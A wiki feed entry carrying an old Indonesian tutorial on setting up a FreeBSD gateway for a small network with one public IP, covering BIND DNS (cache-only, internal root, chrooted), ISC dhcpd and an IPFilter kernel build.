 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4660</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4660"/>
		<updated>2008-07-27T03:53:42Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* Konfigurasi awal (Cache-Only DNS Server): */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
